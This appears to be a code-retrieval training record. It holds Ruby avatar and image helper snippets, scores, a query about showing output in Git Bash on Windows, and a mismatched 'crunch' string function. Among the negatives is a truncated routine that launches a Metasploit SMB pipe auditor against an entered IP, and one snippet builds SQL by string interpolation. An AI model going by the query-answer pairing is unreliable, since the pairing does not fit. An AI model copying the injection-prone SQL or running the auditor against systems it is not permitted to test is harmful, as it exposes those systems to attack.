find_or_goto_index(User, params[:id].to_s) : @user\n return unless user\n\n query = create_query(:Image, :by_user, user: user)\n show_selected_images(query)\n end", "def filename\n \"#{@user.name}.png\"\n end", "def displayphoto\n @user= User.find(params[:id])\n \n end", "def show\n if @current_user.nil? and (!params[:id].to_i.zero? or User.find_by_username(params[:id]).nil?)\n redirect_to '/login' \n else\n if !params[:id].to_i.zero? and !@current_user.nil? and @current_user.image_ids.include? params[:id].to_i\n @image=Image.find params[:id]\n user=@current_user\n else\n user=User.find_by_username params[:id]\n @image=user.images.random\n end\n @image.text=user.quotes.random\n send_data(@image.to_img(request),\n :type => 'image/png',\n :disposition => 'inline')\n end\n end", "def category_users\n images.collect{|e| e.user}\n end", "def user_avatar(user_id)\n user = User.find!(user_id)\n if user.avatar.attached?\n image_tag user.avatar\n else\n image_tag \"../images/Littlefinger_Main.jpg\"\n end\n end", "def user_image(user = nil, variant:)\n _user_image(user, url: user_avatar_url(user, variant: variant))\n end", "def set_image\n @image = current_user.images.find(params[:id])\n end", "def filename\n \"#{@user.screen_name}.png\"\n end", "def attributes\n data = super\n photo_path = File.join(api_user_dir(data[:username]), USER_PHOTO_FILENAME)\n username = (File.exists? photo_path)? data[:username]: 'default'\n photo_url = \"#{user_url(options[:host], username)}/#{USER_PHOTO_FILENAME}\"\n data.to_a.insert(6, [:photo_url, photo_url]).to_h\n end", "def user_profile_img(user)\n if user.avatar?\n return image_tag(user.avatar, alt: user.name, size: \"60x60\")\n else\n img_url = 'no_image.png'\n end\n image_tag(img_url, alt: user.name, size: \"60x60\")\n end", "def image\n if File.exist?(\"public/images/profile_images/#{self.username}.jpg\")\n img_path = \"/images/profile_images/#{self.username}.jpg\"\n else\n img_path = \"/images/default.jpg\"\n end\n return img_path\n end", "def filename\n\t\tif @user.class == User \n\t\t\t\"#{@user.screen_name}.png\"\n\t\telsif @user.class == Libitem\n\t\t\t\"#{@user.title}_#{@user.id}.png\"\n\t\tend\n\tend", "def index\n @user_profile = current_user.user_profile\n @user_images = @user_profile.user_images\n @user_image = UserImage.new\n end", "def profile_img=(user_params)\n self.imageName = base_part_of(user_params.original_filename)\n self.imageB64 = user_params.read\n end", "def image; end", "def get_user_image(user_id)\n @user = User.find(:first,:select=>\"profile_image_url\",:conditions=>[\"id=#{user_id}\"])\n return @user.profile_image_url\n end", "def pull_image(value)\n user_hash = pull_records(value)\n id = user_hash[0][\"id\"]\n image_name = user_hash[0][\"image\"]\n image = \"images/uploads/#{id}/#{image_name}\"\nend", "def user\n {id: object.user.id, username: object.user.username, avatar: object.user.avatar}\n end", "def user\n gallery.user\n end", "def raster_profile_picture(user)\n if user.authentications.where(:provider == \"Facebook\").any?\n fb_picture(user)\n elsif user.authentications.where(:provider == \"Twitter\").any?\n twitter_picture(user, type: \"normal\") \n else\n image_tag user.avatar.url(:raster), class: \"img-circle small_profile_picture\"\n end\n end", "def linked_in_avatar(user)\n image_tag(user.user_info[\"linked_in\"][\"image\"])\n end", "def user_image_url # return the user image\n ((self.user_image.present?)?(self.user_image.url.to_s):nil) || self.photo_url || \"/assets/no-image.png\"\n end", "def user_logo(user)\n image_tag(user.avatar_url)\n end", "def index\n\t\t@images = current_user.images\n\tend", "def thumbnail_name\n \"#{@user.name}_thumbnail.png\"\n end", "def index\n\t\t@user = User.find params[:user_id] #el corchete con params tiene que ir junto!!\n\t\t@images = @user.images\n\tend", "def effective_avatar(ob, user, query)\n\n picture = ob.profile.picture\n\n if picture\n result = rest_reference(picture, query, true)\n result.name = \"avatar\"\n result\n else\n result = LibXML::XML::Node.new('avatar')\n result['resource'] = Conf.base_uri + '/images/avatar.png'\n result\n end\nend", "def show\n unless current_user.id==@image.user_id\n flash[:notice] = \"You don't have access!\"\n redirect_to root_path\n return\n end\n end", "def get_userpic(user_page)\n\t\t\tuserpic_xpath = '(//div[@id=\"profile-hero-panel\"]/div/img/@src)[1]'\n\t\t\tpic_img = user_page.parser.xpath(userpic_xpath)\n\n\t\t\tpic_img.text\n\tend", "def default_user\n self.rol = :user if rol.nil?\n self.image = \"avatar.jpg\" if self.image.nil?\n end", "def avatar\n \t\t# get the email from URL-parameters or what have you and make lowercase\n\t\temail_address = self.email.downcase\n\t\t \n\t\t# create the md5 hash\n\t\thash = Digest::MD5.hexdigest(email_address)\n\t\t \n\t\t# compile URL which can be used in <img src=\"RIGHT_HERE\"...\n\t\timage_src = \"http://www.gravatar.com/avatar/#{hash}\"\n \tend", "def image\n require 'digest/md5'\n \"http://www.gravatar.com/avatar/#{Digest::MD5.hexdigest(author_email.downcase)}\"\n end", "def index\n login\n @admin_users = Admin::User.all\n @admin_users.each do |user|\n user.photo = Admin::Photo.find_by( imageable_id: user.id,imageable_type: \"user\")\n end\n\n end", "def image\n\n end", "def show_avatar\n\n end", "def show_avatar\n\n end", "def show\n #@images = Image.where(:user_id => 1)\n end", "def image\n end", "def image\n end", "def index\n @images = Image.where(user_id: params[:id])\n @user = User.find(params[:id])\n end", "def get_current_user_profile_image\n if ProfileImage.find_by(user_id: get_current_user.id).image_base64 != \"\"\n return ProfileImage.find_by(user_id: get_current_user.id)\n else\n return \"/img/logo/small-logo.png\"\n end\n end", "def profile_picture\n profile_picture_file_name\n end", "def profile\n\t\t@user = User.where(username: params[:username])[0]\n\t\t@pics = Picture.where(user_id: @user.id).reverse\n\n\tend", "def check_user_image_large(user)\n if user.image.present?\n cl_image_tag user.image, class: \"profile_image_large\"\n else\n image_tag \"avatar.png\"\n end\n end", "def image_uid\n @dicom_image_uid || @image_uid\n end", "def user_data\n {:username => self.username,\n :pic_url => self.user_pic,\n :profile_url => self.profile_url\n }\n end", "def avatar\n respond_with(@user)\n end", "def create_specific_user(first_name:, last_name:, number:, age: )\n user = User.new(\n first_name: first_name,\n last_name: last_name,\n password: 'secret',\n description: \"Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.\",\n birthday: age.years.ago\n )\n user.email = \"#{user.first_name}@gmail.com\"\n\n url = \"app/assets/images/user_#{number}.jpg\"\n\n file = File.open(url)\n user.photo.attach(io: file, filename: \"#{user.first_name}_#{user.last_name}.jpg\", content_type: 'image/jpg')\n user.save!\nend", "def full_display\r\n @user = User.find(params[:user_id])\r\n \r\n if params[:active_pic_id].blank?\r\n @active_picture = @user.image\r\n else\r\n @active_picture = @user.pictures.detect{ |pic| pic.id == params[:active_pic_id].to_i }\r\n end\r\n end", "def images_add?\r\n\t\tuser_allowed_to_object?(user, record, [:edit])\r\n\tend", "def show\n if @user_profile.image.attachment \n @profile_image = @user_profile.image\n else\n @profile_image = \"https://api.adorable.io/avatars/200/#{current_user.username}\" \n end\n end", "def image\n end", "def image\n end", "def images; end", "def thumbnail_name\n \"#{@user.screen_name}_thumbnail.png\"\n end", "def receiver_picture\n user = users.select { |user| !user.id.eql?(sent_by) }.first\n user.avatar_url\n end", "def sender_picture\n user = User.find_by_id(sent_by)\n user.avatar_url\n end", "def profile_picture_for(user)\n if user.picture?\n image_tag(user.picture.url, alt: user.name, class: \"profile_picture\")\n else\n image_tag(random_default_image, alt: user.name, class: \"profile_picture\")\n end\n end", "def user_thumb user\n img = tag(\"img\", :src => formatted_user_url(:id => user, :format => 'jpg'), :class => 'user_picture', :alt => user.name)\n img_link = link_to img, user_url(:id => user)\n text_link = link_to user.short_name, user_url(:id => user)\n content_tag :div, \"#{img_link}<br/>#{text_link}\", :class => 'user'\n end", "def image_user_params\n params.require(:image_user).permit(:image_id, :user_id)\n end", "def image_user_params\n params.require(:image_user).permit(:image_id, :user_id)\n end", "def icon_name(user)\n iconname = (!user.blank? && !user.icon_url.blank?)? user.icon_url : Settings.icon.user.guest_image\n iconname\n end", "def avatar_for(user, size=32)\n options = {}\n if user.admin == 1\n options[:class] = \"teacher-avatar\" \n end\n case(user.language)\n when 'en'\n flag(\"us\",options)\n when 'es'\n flag(\"cr\",options)\n end\n end", "def index\n @raw_images = RawImage.all\n #@user = current_user\n #@authorized = true\n end", "def avatar_photo (person)\n if person.image.attached?\n image_tag person.image\n else\n image_tag \"static/placeholder.jpg\"\n end\n end", "def image_is_owned_by_session_owner?(xmlstr, session)\n uname = get_user_from_session(session)\n user = User.find_by_name(uname).last\n\n uid = -1\n doc = REXML::Document.new(xmlstr)\n doc.elements.each('IMAGE') do |img_e|\n img_e.each_element('UID') do |uid_e|\n uid = uid_e.get_text.to_s.to_i\n end # uid must not be -1\n end\n\n if uid == user.oid\n true\n else\n false\n end\n end", "def from\n _from = User.only(:_id, :avatar_file_name, :avatar_updated_at, :name).find(self.user_id) rescue nil\n\n if _from\n {:image => _from.avatar.url(:detail), :name => _from.name}\n end\n end", "def refresh_user_data!\n if user = User.fields(:name, :nickname, :user_image, :user_image_original, :avatar_file_name).first(:id => self.user_id)\n self.name = user.name\n self.nickname = user.nickname\n self.user_image = user.user_image\n self.user_image_original = user.user_image_original\n self.has_shelby_avatar = user.has_shelby_avatar\n end\n end", "def image_params\n params.permit(:user_id, :image)\n end", "def check_user_image_middle(user)\n if user.image.present?\n cl_image_tag user.image, class: \"profile_image_middle\"\n else\n image_tag \"avatar.png\", class: \"profile_image_middle\"\n end\n end", "def change_acc_icon\n user = User.find_by_id(session[:user_id])\n if user\n @header_picture = user.avatar.url(:thumb)\n else\n @header_picture = 'account.png'\n end\n end", "def index\n @images = Image.where(:user_id=>current_user.id)\n end", "def make_userpic!\n self.cat_id = Content::CATEGORIES[:userpic][:id]\n self.relationshiptype_id = Relationshiptype.everyone\n self.save!\n if user.profile.userpic\n user.profile.userpic.update_attributes(:cat_id => Content::CATEGORIES[:image][:id])\n end\n user.profile.userpic_id = self.id\n user.profile.save!\n end", "def user_avatar(user)\n if user.avatar.attached?\n return user.avatar\n elsif user.gender == \"Male\"\n return \"jimmy.png\"\n elsif user.gender == \"Female\"\n return \"sue.svg\"\n elsif user.gender == \"Non-Binary\"\n return \"yanny.svg\"\n else\n return \"blank-avatar.svg\"\n end\n end", "def author_avatar\n is_anonymous ? Avatar.default.url : user.profile.avatar.url\n end", "def avator_for(user, gender)\n if user.photos.any?\n image_tag user.photos.first.image.url(:rated), alt: user.name, width: \"250\", height: \"250\", title: user.name\n else\n if gender == \"male\"\n image_tag \"default_rated_male.png\",alt: user.name, width: \"250\", height: \"250\",title: user.name\n else\n image_tag \"default_rated_female.png\",alt: user.name, width: \"250\", height: \"250\", title: user.name\n end\n end\n end", "def index\n @image_users = ImageUser.all\n end", "def show_image # :nologin: :prefetch:\n store_location\n if @image = find_or_goto_index(Image, params[:id].to_s, :include => [\n :copyright_changes,\n :image_votes,\n :license,\n {:observations => [:comments, :name]},\n :projects,\n :user,\n ])\n @is_reviewer = is_reviewer\n pass_query_params\n\n # Decide which size to display.\n @default_size = @user ? @user.image_size : :medium\n @size = params[:size].blank? ? @default_size : params[:size].to_sym\n\n # Make this size the default image size for this user.\n if @user and (@default_size != @size) and\n (params[:make_default] == '1')\n @user.image_size = @size\n @user.save_without_our_callbacks\n @default_size = @size\n end\n\n # Wait until here to create this search query to save server resources.\n # Otherwise we'd be creating a new search query for images for every single\n # show_observation request. We know we came from an observation-type page\n # because that's the only time the 'obs' param will be set (with obs id).\n obs = params[:obs]\n if !obs.blank? &&\n # The outer search on observation won't be saved for robots, so no sense\n # in bothering with any of this.\n !is_robot?\n obs_query = find_or_create_query(:Observation)\n obs_query.current = obs\n img_query = create_query(:Image, :inside_observation,\n :observation => obs, :outer => obs_query)\n set_query_params(img_query)\n end\n\n # Cast user's vote if passed in 'vote' parameter.\n if @user and\n (val = params[:vote]) and\n (val == '0' or (val = Image.validate_vote(val)))\n val = nil if val == '0'\n cur = @image.users_vote\n if cur != val\n anon = @user.votes_anonymous == :yes\n @image.change_vote(@user, val, anon)\n Transaction.put_images(:id => @image, :set_vote => val, :set_anonymous => anon)\n end\n\n # Advance to next image automatically if 'next' parameter set.\n if params[:next]\n query = find_or_create_query(Image)\n query.current = @image\n if query.index(@image) and\n (query = query.next)\n @image = query.current\n end\n end\n end\n\n # Grab list of votes.\n @votes = @image.image_votes(:include => :user).sort_by do |v|\n (v.anonymous ? :anonymous.l : v.user.unique_text_name).downcase\n end\n\n # Update view stats on image we're actually showing.\n update_view_stats(@image)\n end\n end", "def index\n if session[:user_id]\n @user = User.find(session[:user_id])\n end\n @imgs = Img.find(:all)\n end", "def avatar_for(user, size=32)\n image_location = if user.avatar.nil? || user.avatar.empty?\n \"http://www.gravatar.com/avatar.php?gravatar_id=#{MD5.md5(user.email)}&rating=PG&size=#{size}\"\n else\n sanitize(user.avatar)\n end\n image_tag image_location, :size => \"#{size}x#{size}\", :class => 'photo'\n end", "def author_avatar\n anonymous? ? Avatar.default.url : user.profile.avatar.url\n end", "def set_avatar_name\n self.display_name ||= self.username\n end", "def profile_image(id)\n unless id.blank?\n profile = Profile.find_by_user_id(id)\n if !profile.profile_image.blank?\n return url_for_file_column(profile, \"profile_image\",\"submain\")\n else \n return \"/images/home/noprofile_photo.gif\"\n end\nend\nend" ]
[ "0.7167784", "0.7166301", "0.7018062", "0.6988343", "0.6951319", "0.69357437", "0.69130677", "0.69085073", "0.68859094", "0.68131673", "0.68131673", "0.67592853", "0.672007", "0.672007", "0.66629046", "0.66413826", "0.6635202", "0.66282666", "0.66253436", "0.65739095", "0.6554299", "0.64945245", "0.64857584", "0.648413", "0.647921", "0.64572495", "0.64476305", "0.6443913", "0.6439175", "0.64391166", "0.6428772", "0.642421", "0.6406275", "0.640487", "0.6402575", "0.6401375", "0.6388942", "0.6386776", "0.6369609", "0.6355524", "0.63484925", "0.63171166", "0.6312082", "0.6309669", "0.62871516", "0.6282273", "0.62611437", "0.6254843", "0.6254521", "0.62467813", "0.62394917", "0.6239039", "0.6238314", "0.6238314", "0.6233356", "0.6229097", "0.6229097", "0.62224156", "0.62142247", "0.6211757", "0.6207405", "0.61831576", "0.61780685", "0.6172375", "0.6170584", "0.6164387", "0.61565775", "0.6128589", "0.6122321", "0.6120897", "0.6120897", "0.61169946", "0.6114989", "0.6107414", "0.61029994", "0.60952616", "0.60875255", "0.6066895", "0.6066895", "0.605878", "0.60495406", "0.6041515", "0.6038037", "0.603075", "0.60166615", "0.60048705", "0.60044163", "0.6000978", "0.60003877", "0.5997998", "0.5996327", "0.5990755", "0.5990578", "0.5983959", "0.59838134", "0.5982584", "0.597983", "0.5973642", "0.5964975", "0.5964737", "0.5964402" ]
0.0
-1
To display output immediately on windows using git bash
def crunch(string) string.gsub(/(.)\1+/, '\1') end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def prompt_git_branch\n if !is_git?\n return \"\"\n end\n stat = `git status`\n \"[#{stat.split(\"\\n\")[0].split(\" \")[-1]}]\".yellow\nend", "def stdout; end", "def stdout; end", "def stdout; end", "def stdout; end", "def stdout; end", "def stdout; end", "def prep_screen\n system(\"clear\")\n print \"Current project is \".blue\n print \"#{File.basename(File.expand_path(\".\"))}\".blue.on_light_white\n \n if File.exist?(\".git\")\n branch = `git rev-parse --abbrev-ref HEAD`\n print \" (current branch: \".blue\n print branch.strip.blue.on_light_white\n print \")\".blue\n end\n puts \"\"\n end", "def prompt_git_status\n if !is_git?\n return \"\"\n end\n stat = `git status`\n res = \"\"\n res += ( stat.include?(\"ahead\") ? \"^\" : \"\" )\n res += ( stat.include?(\"modified\") ? \"*\" : \"\" )\n res += ( stat.include?(\"untracked\") ? \"+\" : \"\" )\n res += ( stat.include?(\"deleted\") ? \"-\" : \"\" )\n res!=\"\" ? \"[#{res}]\".magenta : \"\"\nend", "def gitworld(command)\n home = ENV[\"PWD\"]\n paths = [ \\\n\t\"vendor/bundles/Cordova/Bundle/FormModelBundle\",\t\\\n\t\"vendor/phpspec\",\t\\\n\t\"vendor/phpspec-symfony2\",\t\\\n\t\"vendor/PHPAutotest\",\t\\\n ]\n paths.each do |path|\n fullpath = \"#{home}/#{path}\"\n if File.directory? fullpath\n Dir.chdir(\"#{fullpath}\")\n popen3(\"git #{command}\") do |stdin, stdout, stderr, wait_thr|\n output = stdout.read\n error = stderr.read\n printf \"============================[ %30s ]=======\\n%s\", path, output\n puts \"\" if output.length > 0\n print stderr.read\n puts \"\" if error.length > 0\n end\n end\n end\nend", "def capture_stdout(*command, dir: repo_cache_dir)\n success, output = Samson::CommandExecutor.execute(\n *command,\n whitelist_env: ['HOME', 'PATH'],\n timeout: 30.minutes,\n err: '/dev/null',\n dir: dir\n )\n output.strip if success\n end", "def stdouts; end", "def git_status(path_r)\n Dir.chdir(path_r) do\n fill = 80 - path_r.size()\n fill = 0 if fill < 0\n puts path_r + '-'*fill\n puts `git status`\n end\nend", "def bash_on_windows?; end", "def my_backticks(cmd)\n rd, wr = IO.pipe\n\n pid = fork {\n rd.close\n\n $stdout.reopen(wr)\n exec(cmd)\n }\n\n wr.close\n Process.wait(pid)\n rd.read\nend", "def shell_output\n $shell_history ||= []\n cmd = get_string(\"Enter shell command:\", :maxlen => 50) do |f|\n require 'canis/core/include/rhistory'\n f.extend(FieldHistory)\n f.history($shell_history)\n end\n if cmd && !cmd.empty?\n run_command cmd\n $shell_history.push(cmd) unless $shell_history.include? cmd\n end\n end", "def run\n logger.info(\"Running command : git-shell -c #{@cmd_cmd} '#{@real_path}'\")\n if system(Settings.git.shell, \"-c\", \"#{@cmd_cmd} '#{@real_path}'\")\n logger.info(\"\\t\\tOK\")\n else\n logger.info(\"\\t\\tKO\")\n end\n end", "def echo_on\n system \"stty echo\"\n end", "def setup()\n $stdout.sync\n end", "def run(cmd)\n puts \"\\033[1;37m#{cmd}\\033[0m\"\n result = `#{cmd}`\n abort unless $?.success?\n puts result unless result.empty?\n result\nend", "def local_os_shell\n cls\n banner\n prompt = \"(Local)> \"\n while line = Readline.readline(\"#{prompt}\", true)\n cmd = line.chomp\n case cmd\n when /^exit$|^quit$|^back$/i\n puts \"OK, Returning to Main Menu\".light_red + \"....\".white\n break\n else\n begin\n rez = commandz(cmd) #Run command passed\n puts \"#{rez.join}\".cyan #print results nicely for user....\n rescue Errno::ENOENT => e\n puts \"#{e}\".light_red\n rescue => e\n puts \"#{e}\".light_red\n end\n end\n end\nend", "def execute(input: $stdin, output: $stdout)\n message = 'Standard'\n puts message\n puts Pastel.new.green(TTY::Font.new(:standard).write(message))\n\n :gui\n end", "def git(command)\n there { `git #{command} 2>&1`.strip }\n end", "def echo msg\n $stdout.puts msg\nend", "def stdout(event) ; $stdout.puts event ; $stdout.flush ; end", "def help\n puts \"Usage: git file-history filename\"\n puts \" Show blame history for a file\"\n exit 1\nend", "def status_line(switch_on = true)\n if switch_on\n set_vars :_display_busy => 1, :_display_status => 1\n else # switch off\n set_vars :_display_busy => 0, :_display_status => 0\n end\n sleep 1\n exec 'redisplay;'\n end", "def remote_shell args\n remote(args) do |ssh|\n command = true\n while command\n print \"> \"\n command = gets\n if command\n result = ssh.exec! command\n puts result.split(\"\\n\").awesome_inspect if not result.nil?\n end\n end\n ssh.exec! \"exit\"\n end\n end", "def run_command\n # this should probably be run without bundle exec, I guess\n 'git status --porcelain'\n end", "def test_scm_st_036\n printf \"\\n Test 036\"\n end", "def git_call(command, verbose = debug_mode, enforce_success = false)\n if verbose\n puts\n puts \" git #{command}\"\n puts\n end\n output = `git #{command}`\n puts output if verbose and not output.empty?\n # If we need sth. to succeed, but it doesn't, then stop right there.\n if enforce_success and not last_command_successful?\n puts output unless output.empty?\n raise UnprocessableState\n end\n output\n end", "def backtick_output(command)\n success, output = run_external(command, {}, SETTINGS[:project])\n return output, success\n end", "def git_describe\n @git_describe ||= begin\n git_cmd = \"git describe\"\n shell = Mixlib::ShellOut.new(git_cmd,\n :cwd => Omnibus.root)\n shell.run_command\n shell.error!\n shell.stdout.chomp\n end\n end", "def log(bit)\n puts \"\\033[35m#{bit} \\033[0m\"\nend", "def list( by_line=false )\n\n path_to_dot_git = File.join( @git_folder_path, \".git\" )\n line_by_line = by_line ? \"-v\" : \"\"\n\n git_log_cmd = \"git --git-dir=#{path_to_dot_git} --work-tree=#{@git_folder_path} status #{line_by_line}\"\n log.info(x) { \"[git] status command => #{git_log_cmd}\" }\n git_log_output = %x[#{git_log_cmd}]\n\n git_log_output.log_debug if by_line\n git_log_output.log_info unless by_line\n\n end", "def pretty_run(title, cmd)\n puts\n print_bar(100, title)\n puts \"> #{cmd}\"\n puts\n Kernel.system(cmd) unless pretend?\n print_bar(100)\n end", "def stdout_of command\n win_os? && command.gsub!(/'/, '\"')\n stdout = `#{command}`\n $?.success? || fail(\"`#{command}` failed\")\n stdout\nend", "def stdout\n @cmd_result.stdout\n end", "def run(cmd, cwd)\n begin\n Bundler.with_clean_env do\n PTY.spawn( \"cd #{cwd} && #{cmd}\" ) do |stdout, stdin, pid|\n begin\n stdout.each do |line|\n puts line\n end\n rescue Errno::EIO\n end\n Process.wait(pid)\n end\n end\n rescue PTY::ChildExited => e\n end\n end", "def log_command(command)\n require 'time'\n filename = File.join(Git.git_dir, \"git-scripts.log\")\n log = File.open(filename, \"a\")\n log.puts \"#{Time.now.iso8601}: #{command}\"\n log.close\nend", "def stdout(command, data)\n # called when the process writes to STDOUT\n end", "def git(*args)\n system \"git \" + args.join(\" \")\nend", "def commit_status()\n if @status_line\n if @ping_from\n # Debug mode show final line value as history.\n puts @status_line\n else\n # Normal mode advance to the next line leaving this line as history.\n puts\n end\n STDOUT.flush\n @status_line = nil\n end\n end", "def debug_shell\n puts '------ Opening debug shell -----'\n @orig_dir = Dir.pwd\n begin\n if respond_to?(:prepare_debug_shell)\n prepare_debug_shell\n end\n system('bash')\n ensure\n Dir.chdir(@orig_dir)\n end\n puts '------ Exiting debug shell -----'\n end", "def puts something\n command = 'pbcopy'\n command << \" -pboard #{@board}\" if @board\n command << \" -Prefer #{@format}\" if @format\n out = IO::popen command, 'w+'\n out.print something\n out.close\n @current = something\n end", "def catch_text\n # get the actual offset\n start = @buffer.get_iter_at_offset(@@offset)\n\n # get the command\n cmd = @buffer.get_text(start, @buffer.end_iter)\n\n # Save the command to the history object\n @historic.append(cmd)\n\n # Write the command to our pipe\n send_cmd(cmd)\n\n # Add a return line to our buffer\n insert_text(\"\\n\")\n\n # Call the prompt\n prompt()\n\n # Create the mark tag if not exist\n if (not @buffer.get_mark('end_mark'))\n @buffer.create_mark('end_mark', @buffer.end_iter, false)\n end\n\n # Save our offset\n @@offset = @buffer.end_iter.offset\n end", "def output_stdout!\n\t\tmsg = @connection.gets\n\t\tbasic_parse(msg)\n\tend", "def git_cmd(*args, &block)\n system_args = ['--git-dir', root_url, '-c', 'core.quotepath=false']\n args = (system_args + Array(args)).flatten\n args = args.map { |arg| self.class.shell_quote(arg.to_s) }.join(' ')\n cmd = [self.class.quoted_git_command, args].join(' ')\n\n exit_status, errors = self.class.shell_out(cmd, &block)\n\n raise Redmine::Scm::Adapters::CommandFailed, errors unless exit_status == 0\n end", "def introduction\n puts 'hello welcome to the github scrapper'.light_blue\n puts 'this tool is desgined for fetching data from github quickly and saving it to a csv file'.light_blue\nend", "def stamp\n @output.write(\"#{ESC}o\")\n end", "def desc\n \"Interactive TTY\"\n end", "def run_for_output(cmd)\n LOG.debug \"RUNNING (for output): #{cmd}\"\n out, _status = Open3.capture2e(cmd)\n out.strip\n end", "def ruby_app_shell(cmd, options={})\n ignore_errors = options[:ignore_errors] || false\n log = !!(Cucumber.logger)\n\n all_output = ''\n Dir.chdir(ruby_app_root) do\n Cucumber.logger.debug(\"bash> #{cmd}\\n\") if log\n Bundler.with_clean_env do\n IO.popen(\"#{cmd} 2>&1\", 'r') do |output|\n output.sync = true\n done = false\n until done\n begin\n line = output.readline + \"\\n\"\n all_output << line\n Cucumber.logger.debug(line) if log\n rescue EOFError\n done = true\n end\n end\n end\n end\n end\n\n $?.success?.should(be_true) unless ignore_errors\n all_output\n end", "def ruby_app_shell(cmd, options={})\n ignore_errors = options[:ignore_errors] || false\n log = !!(Cucumber.logger)\n\n all_output = ''\n Dir.chdir(ruby_app_root) do\n Cucumber.logger.debug(\"bash> #{cmd}\\n\") if log\n Bundler.with_clean_env do\n IO.popen(\"#{cmd} 2>&1\", 'r') do |output|\n output.sync = true\n done = false\n until done\n begin\n line = output.readline + \"\\n\"\n all_output << line\n Cucumber.logger.debug(line) if log\n rescue EOFError\n done = true\n end\n end\n end\n end\n end\n\n $?.success?.should(be_true) unless ignore_errors\n all_output\n end", "def shell(*) end", "def git command\n output = `git #{command} 2>&1`.chomp\n unless $?.success?\n raise RuntimeError, output\n end\n output\n end", "def test_stdout_redir\n with_fixture 'stdoutredir' do\n assert system(\"ruby\", ocra, \"stdoutredir.rb\", *DefaultArgs)\n assert File.exist?(\"stdoutredir.exe\")\n system(\"stdoutredir.exe > output.txt\")\n assert File.exist?(\"output.txt\")\n assert_equal \"Hello, World!\\n\", File.read(\"output.txt\")\n end\n end", "def display(msg)\n stdout.puts msg\n return \"#{msg}\\n\"\n end", "def stdout\n run unless ran?\n\n @stdout\n end", "def deploy!\n puts \"Adding and committing compiled output for deployment..\"\n puts %x[git add .]\n puts %x[git commit -a -m \"temporary commit for deployment\"]\n puts 'Deploying to Github pages..'\n puts %x[git push origin HEAD:gh-pages --force]\nend", "def output_history commits\n # output each commit\n commits.each_with_index do |commit, i|\n puts \"\\033[031m#%03d \\033[0m#{commit[:message]} \\033[34m(#{commit[:timestamp]} by #{commit[:author]})\" % (commits.length - i)\n end\n\n # ansi reset\n print \"\\033[0m\"\n end", "def cmd(str)\n\t\t@pipe.puts str\n\tend", "def capture_with_status(*args)\n _print_command(*args)\n args.last.delete :errexit if args.last.is_a? Hash\n args.last.delete :xtrace if args.last.is_a? Hash\n stdout, status = Open3.capture2(*args)\n return stdout.chomp, status\nend", "def run_cmd(cmd)\n Dir.chdir(Rails.root) {\n #@output = `cd #{CTMWEB_PATH} && #{cmd} 2>&1`\n cmd = \"#{cmd}\"\n @output = `#{cmd}`\n }\n result = $?.success?\n if result\n print \"OK\\n\".green\n else\n print \"ERROR\\n\".red\n puts \"#{@output.to_s.red}\"\n send_to_flowdock(\"CTMWEB\", \"Deployment for #{Rails.env.upcase} failed. (CMD: #{cmd})\", @tags)\n abort \"Deployment Halted.\".red\n end\nend", "def console(&blk); end", "def console(&blk); end", "def git\n require 'parsedate'\n puts 'Doing local Git commit...'\n d = Time.new()\n git_comment = \"#{d}\"\n `git add ../.`\n `git commit ../. -m \"#{git_comment}\"`\nend", "def shell_out command=nil\n $shell_history ||= []\n command ||= get_string(\"Enter system command:\", :maxlen => 50) do |f|\n require 'canis/core/include/rhistory'\n f.extend(FieldHistory)\n f.history($shell_history)\n end\n ##w = @window || @form.window\n #w.hide\n Ncurses.endwin\n ret = system command\n Ncurses.refresh\n #Ncurses.curs_set 0 # why ?\n #w.show\n return ret\n end", "def system_cmd(cmd)\n exit_val = nil\n cmd_to_run = cmd\n cmd_to_run = \"#{@git_ssh_cmd} #{cmd}\" if cmd.start_with? 'git'\n Open3.popen3(cmd_to_run) do |stdin, stdout, stderr, wait_thr|\n stdin.close\n\n block_size = 1\n io_buffers = {stdout: '', stderr: ''}\n output_buffer = []\n outputs = {stdout => :stdout, stderr => :stderr}\n\n begin\n until outputs.keys.all?(&:eof) do\n ready = IO.select(outputs.keys)\n if ready\n readable = ready[0]\n readable.each do |f|\n file_type = outputs[f]\n begin\n data = f.read_nonblock(block_size)\n\n io_buffers[file_type] << data\n if data == \"\\n\"\n payload = {file_type => io_buffers[file_type]}\n puts payload.inspect\n output_buffer << payload\n\n io_buffers[file_type] = \"\"\n end\n rescue EOFError\n end\n end\n end\n end\n rescue IOError\n end\n\n exit_val = wait_thr.value\n @build.build_logs.create(\n text: output_buffer.to_json,\n cmd: cmd_to_run,\n exit_code: exit_val,\n )\n end\n\n exit_val\n end", "def record_shell_interaction(commands)\n ShellSimulator.new(commands).capture_output do\n load VIRTUAL_SHELL_PROGRAM\n end\nend", "def run_and_watch_prompt(cmd, regex_to_watch)\n run cmd, :pty => true do |ch, stream, data|\n watch_prompt(ch, stream, data, regex_to_watch)\n end\nend", "def git_command(cmd, opt_str, dir)\n run_in_shell(\"git #{cmd} #{opt_str}\", dir)\n end", "def after_resolution\n output.puts\n end", "def prompt\r\n vm = Thread.current[:vm]\r\n puts\r\n\r\n if vm.show_stack\r\n vm.data_stack.to_foorth_s(vm)\r\n puts vm.pop\r\n end\r\n\r\n '>' * vm.context.depth + '\"' * vm.quotes + '(' * vm.parens\r\n end", "def prompt\n print '> '\n $stdout.flush\nend", "def shell_out_command(cmd, msg)\n cmd_local = \"#{cmd}\" + \" -c #{knife_config}\" + \"#{grep_cmd}\"\n shell_out = Mixlib::ShellOut.new(\"#{cmd_local}\", :timeout => timeout)\n puts \"#{msg}\"\n puts \"#{cmd_local}\"\n @op = shell_out.tap(&:run_command).stdout\n puts \"#{cmd_stdout}\"\n return shell_out\n end", "def helloWindows\n puts \"Hello\"\n sleep(0.5)\n puts \"Axel is gone\"\n sleep(1)\n puts \"It's just you and me\"\n sleep(1)\n puts \"Shall we start the real tutorial now?\"\n sleep(1)\n end", "def smb_pipe_audit\n\t\tprint_status(\"SMB Session Pipe Auditor\")\n\t\tprint_caution(\"Target IP: \")\n\t\tzIP=gets.chomp\n\n\t\tprint_status(\"Launching MSF SMB Session Pipe Auditor against #{zIP} in a new x-window.....\")\n\t\trcfile=\"#{$temp}msfassist.rc\"\n\t\tf=File.open(rcfile, 'w')\n\t\tf.puts 